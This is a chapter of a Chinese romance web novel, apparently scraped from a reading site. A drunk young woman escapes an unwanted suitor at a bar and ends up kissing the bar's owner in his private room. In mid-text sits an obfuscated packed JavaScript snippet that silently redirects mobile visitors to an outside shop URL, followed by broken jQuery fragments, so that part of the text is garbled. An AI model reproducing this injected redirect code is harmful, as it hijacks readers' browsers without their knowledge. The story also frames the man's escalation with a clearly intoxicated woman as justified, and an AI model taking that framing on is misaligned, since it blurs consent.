听到梁舒音的那番话,简兮心里不免一惊。
显然,她对这种绑架式表白很不舒服。
也怪她自己,没搞清状况,不但乱点了鸳鸯,还可能已经把那姑娘给得罪了。
她头痛地转回视线,就瞧见陈东申的朋友——
那位英俊多金,但看起来又冷又不好惹的酒吧老板,唇角竟然带了笑。
但他也不像是会看笑话的那种人。
她忍不住问他:“怎么了,溟哥?”
陈东申叫他老陆,她跟他不熟,不好硬攀关系,便跟着他下面的兄弟叫他溟哥。
“没事。”
陆祁溟收回视线,将水晶杯往桌上一搁,拍了下陈东申的肩,又看向她。
“生日快乐,今天的酒水我买单了。”
说完这话,他双手抄兜,带着一脸散漫的笑意,转身离开了。
六位数的消费,这位财大气粗的老板说免单就免单,简兮以为自己听错了,险些被入口的烈酒呛到。
稳住后,她眼睫扑煽两下,不可置信地看向陈东申。
勘破一切的陈东申不像她这般惊讶,只面露浅笑,“千金难买心头好。”
他和陆祁溟是在一次熟人的宴会上认识的,两人志趣相投,投资眼光相近,便加了联系方式。
知道陆祁溟开了间酒吧,只是包间席位难求,得提前一周预定。
陈东申吃了闭门羹,只能亲自去问他这个老板。本意只想要个包间,岂料陆祁溟还额外给了他九折的友情价。
此刻却一掷千金,直接免单,自然不是因为他这个朋友。
生意人的洞察力,他早就注意到风尘仆仆出差回来的陆老板,会突然过来招呼他,大抵是因为坐在角落的那位女士。
而免单的冲动之举,也不过是因为女士拒绝了台上人的表白。
什么心头好?
简兮咂摸着这句话,再将刚才的起承转合一番串联,敏锐的女作家很快摸到了一点真相的边。
目光穿过社交中的人群,简兮探了眼角落里孤身饮酒的梁舒音。
刚才钟煦表白时,陆祁溟和她之间不经意的对视,她自然也注意到了,但只当是红男绿女间的惊鸿一瞥。
如今看来,那不是眉目传情是什么?
忽尔又脊背一凉,还好梁舒音没答应,不然她岂不是把陆祁溟也给得罪了。
所以,她口中喜欢的人,就是陆祁溟?
等等,他们什么时候认识的?她怎么没听梁舒音提起过这事儿。
跟陈东申交待了句,简兮带着一箩筐问题,负荆请罪去找当事人了。
“哎阿音,你认识这间酒吧的老板啊?”
她一屁股坐在梁舒音旁边,先旁敲侧击,观察她反应。。
“谁?”梁舒音没反应过来。
“陆祁溟。”
她顿了下,“认识。”
“那他在追你吗?”
“没。”
“那你喜欢的人是他吗?”
这话不问还好,一问,梁舒音就偏头睨着她。
即便脑袋发晕发沉,那双天生明亮的眸子依然目光如炬。
在秋后算账呢。
简兮觉得自己被简直快她透视了,摸了摸鼻子,率先认错。
“那个,钟煦的事儿你别生气哈,我也是看他人不错,又以为你对他有意,毕竟之前在诗歌社团,你们不是还经常坐一起讨论...”
梁舒音用鼻子发出一声“哼”。
哪里是经常坐在一起,分明是钟煦威逼利诱,用尽各种方法让她旁边的同学跟他换座。
“哎呀,我知错了。”
梁舒音不搭腔,只低头抿酒。
简兮试探着问:“不生气了?”
“气。”她嘟囔道。
“啊?”
简兮就知道梁舒音这姑娘没那么容易被哄好。
“那你说要怎么办吧?”
明明比别人大了两岁,简兮这跟学妹撒娇卖萌的本事可谓游刃有余。
梁舒音放下酒杯,水汪汪的狐狸眼觑着她。
勾人的眼形,此刻却参杂一丝清冷的无辜,别说男人,连简兮都忍不住心神荡漾了下。
“学姐,下不为例哦。”
意识已经有些混沌,梁舒音出口的语气也变了调,软软糯糯的。
得到赦免,简兮松口气,又挽着她胳膊,回到八卦的主题上。
“你知道吗?陆老板刚刚给我免单了,六位数呢,这出手也太大方了。”
她盯着梁舒音的脸,活像福尔摩斯上身,非要从人的微表情中,探查出什么。
结果梁舒音根本不为所动,只顾着低头往她那杯血腥玛丽中,胡乱添加着各种牛头不对马嘴的酒。
“那恭喜你了,省了好大一笔...”
尾音上扬,是微醺的语气。
一杯五颜六色的酒被她调好,推到了简兮面前。
“别玩儿了。”
简兮瞥了眼那杯毒酒,火急火燎,“你说他这么一掷千金,不是为了你,难道是为了我吗?”
“学姐,你什么时候变得那么不自信了?”
梁舒音手撑下巴,从上到下扫了眼长相不错,还拥有“核武器”的学姐,一脸真诚地瞧着她,也开始打起妄语。
简兮一拳轻落在她身上,嗔怪道:“别闹,东申还在这儿呢。”
“那可能是老板他今天遇上什么好事儿,一高兴,就忍不住做了个活菩萨。”
“达则兼济天下嘛。”她醉醺醺,也笑眯眯地偏头盯着简兮。
余光一扫,瞥到钟煦似乎朝她这里走了过来。
她攥着脑子里仅剩的那丝意识,起了身,跟身边的人道:“我去洗手间。”
简兮拽住她,“我陪你。”
“不用。”她急着脱身,利落地抽出手。
“那你完了赶紧回来,我等会儿送你回家。”
“好呀。”
包厢的隔音效果极佳,推门而出,纸醉金迷的世界瞬间被扔到身后。
门外是条很长的走廊,铺着褐色地毯,头顶有方格菱形的银色顶灯。
洗手间在走廊尽头,右拐的方向,听到身后跟出来的急促脚步声,梁舒音加快步伐。
她今天穿的是平底靴,照理说应该毫不费力,然而两条腿却笨重得不听使唤,就连视线里的菱形顶灯,也在变幻着形状。
忽尔扭曲成一根麻绳,忽尔又阔变成一个银盘。
她扶着墙,用力甩了甩头。
“梁舒音——”
钟煦的声音响起时,她浑身一激灵,下意识就往反方向拐了个弯。
这样钟煦就没法在洗手间外堵她了。
左拐之后,也是一条长廊,但跟刚才包厢外的陈设全然不同。
仿佛通向什么别有洞天的幽静之地。
直觉告诉她不应该误闯,但脚下已经被想要逃离的决心,驱使着行动起来了。
然而,很快就走到了尽头,前方彻底没路了。
“梁舒音,你在哪儿?”
“你喝醉了吗?需要我帮忙吗?”
钟煦持续唤她,脚步声也随之靠近。
高墙在前,追兵在后。
她拍了下脸,稍微冷静了下来。
大不了就是把刚才拒绝的话再说一遍,反正她这辈子,难听的话也没少讲。
做好心理建设,正要调头迎敌,旁边一扇紧闭的房门忽然被打开。
静谧灯光流溢而出。
一张熟悉又模糊的脸在眼前晃了下,还没弄清状况,她已经被一只大手拽了进去。
昏暗光线中,她后背贴靠着墙,扑面而来的是浓烈的男性荷尔蒙气息。
男人双手撑在她头侧,她正欲张口,就听对方压低声音,提醒她。
“不想被发现,就别出声。”
刚才跑得太急,她此刻正大口喘息,胸口起伏时,这细微动静被密闭空间放大。
连空气都变得暧昧起来。
“陆祁溟?”她下意识叫他。
身下的人目光莹润,双颊酡红,一副微醺的样子。
陆祁溟盯着她看了好几秒,才压着喉头“嗯”了声。
“你怎么会在这儿?”
确定眼前的人没有实质性的危险,梁舒音调动起脑子里为数不多的理智,抽空打量了眼这个昏暗的房间。
从她的角度看过去,只能看到局部空间。
极简顶灯,室内色调暗沉,中间是张实木书桌,书桌后露出书柜的一角。
靠窗的位置,摆着张灰色单人沙发。
大概是他办公,或临时歇脚的地方。
不管是俱乐部,还是这间酒吧,他这人好像在哪儿都有个私人房间。
“那你又为什么会在这儿?”陆祁溟深眸微垂,明知故问。
“我...”她嗫嚅道,“学姐生日。”
“不是专程来听人表白的?”他眸色意味不明。
“什...么?”
脑袋发晕,听力也跟着骤降,她微仰脖颈,试图捕捉他刚才的话。
这会儿,一门之隔,外面的人没看见她,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915014|135285||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
正轻声唤她名字。
门内两人都默契地噤了声。
贴得太近,她甜腻的酒香,同他辛辣的气息交织混合,在闷热房间里发酵。
无限膨胀在他的感官中。
喉头无意识吞咽了下。
被他拢在身下的女人却忽然抬手,纤细手臂勾住他脖子。
陆祁溟一顿,掀起眼皮,细细打量她。
醉酒的女人也正仰头望着他,睫羽如蝴蝶的翅,只轻轻一煽,便撩拨起他心底的一阵飓风。
片刻后,那双勾住他脖子的手,松了开,白皙指节沿着他的脖颈、锁骨往下游移。
若隐若现的火星在昏昧室内迸发。
她刚才出现在门外时,他正打算换衣服,黑衬衫的纽扣刚好只解开了上头两颗。
此刻,她鲜红指尖落在衬衫敞开的地方,仅仅只是无意识的擦过,便激得他浑身一颤。
那双手最后停在了他胸口上。
梁舒音借酒发疯,明目张胆在他胸肌上揩油。
边摸,还嗫嚅着边点评,“手感...真好。”
低声呢喃的软糯语气,跟平日里不爱搭理人的样子截然不同。
原来这人喝醉了,就是个小流氓。
“不过——”
她又将掌心贴在他左侧胸腔处,一脸求教地仰头他。
“为什么你的心跳这么快?”
原本还在看戏的男人倏然绷紧了脸。
盯着身下耍酒疯的女人,陆祁溟正要扯开她的手,作乱的人却拽住他的胸襟,借力踮起脚尖。
女人温热的唇覆在了他的唇上。
柔软而香甜。
只稍稍触碰了下,便离开了。
他怔了怔,在她落地时,伸手去托住她的腰。
确保她安然落地后,他揽着她腰的那只手,却没放开。
他将她捞过来,身体贴近了自己,晦暗眸色在她脸上游移,附耳低语,循循善诱。
“所以,喜欢的人是谁?”
在窥探她刚才拒绝钟煦的那句话。
不知是没听见,还是没听懂,梁舒音不为所动,睁着双迷离的眼,又伸手去摸他下巴。
陆祁溟就那样低头睨她,由着她在自己身上肆无忌惮地放火。
化了淡妆的脸,水润撩人的狐狸眼,睫毛浓翘,五官精致漂亮到让人挪不开视线。
看着他时,眼睛似阖非阖,偶尔唇角一弯,笑容狡黠又天真。
她的气息是滚烫的,指尖却微凉。
大概是胡茬硌手,她皱了眉,决定抛弃这个玩具,于是指尖下移,落在他喉间凸起的地方。
轻轻一刮。
他闷哼了声,一股热流霎时自腹部涌上天灵盖。
撑在墙上的那只手,微握成拳,青筋自手背往小臂绵延。
他低头觑着她,依旧没阻止,也没采取任何反制的行动,只吞了下喉结。
喉结玩腻了,梁舒音终于收了手,一双水波荡漾的眼睛直勾勾盯着他。
“还想干什么?”
陆祁溟眸色越发浓黑,低哑语气像是警告,更像是诱惑。
这回,梁舒音没再抓他衣服,柔软掌心贴着他后腰,微仰着头,踮起了脚尖。
暧昧昏暗的空间,墨绿色厚重窗帘开了条缝,晚风漏进,月色晃荡。
像晃动的人心。
她并不知道自己在玩火,只觉得男人身上的味道很好闻。
沉香,薄荷,酒精...
她说不清那是什么味道。
只是天然的想亲近。
还有他的嗓音,其实她已经辨不清他在说什么,但莫名蛊惑的味道,好像填满了这一刻她心里的空虚。
身下的人再度将甜蜜果实送到了唇边。
男人的欲念蠢蠢欲动,君子行为已在溃败边缘。
陆祁溟深吸口气,凭借着最后的克制,抓住她手腕,将她双手反剪在她头顶。
明知是醉鬼行为,却还是愚蠢地问了句,“知道自己在做什么吗?”
嗓音喑哑得连他自己都有些意外。
身下的人却皱了眉,嘟囔道:“陆祁溟,你弄疼我了。”
她在叫他的名字。
她很清楚自己面对的是谁。
软糯如撒娇的语调,击溃了陆祁溟最后的防线。
心头那点火苗被彻底点燃。
这不算趁人之危。
在她先点火的。
他一手控住她的腰,一手扣住她后脑勺,将人猛地往怀里一带。
反客为主地吻了下去。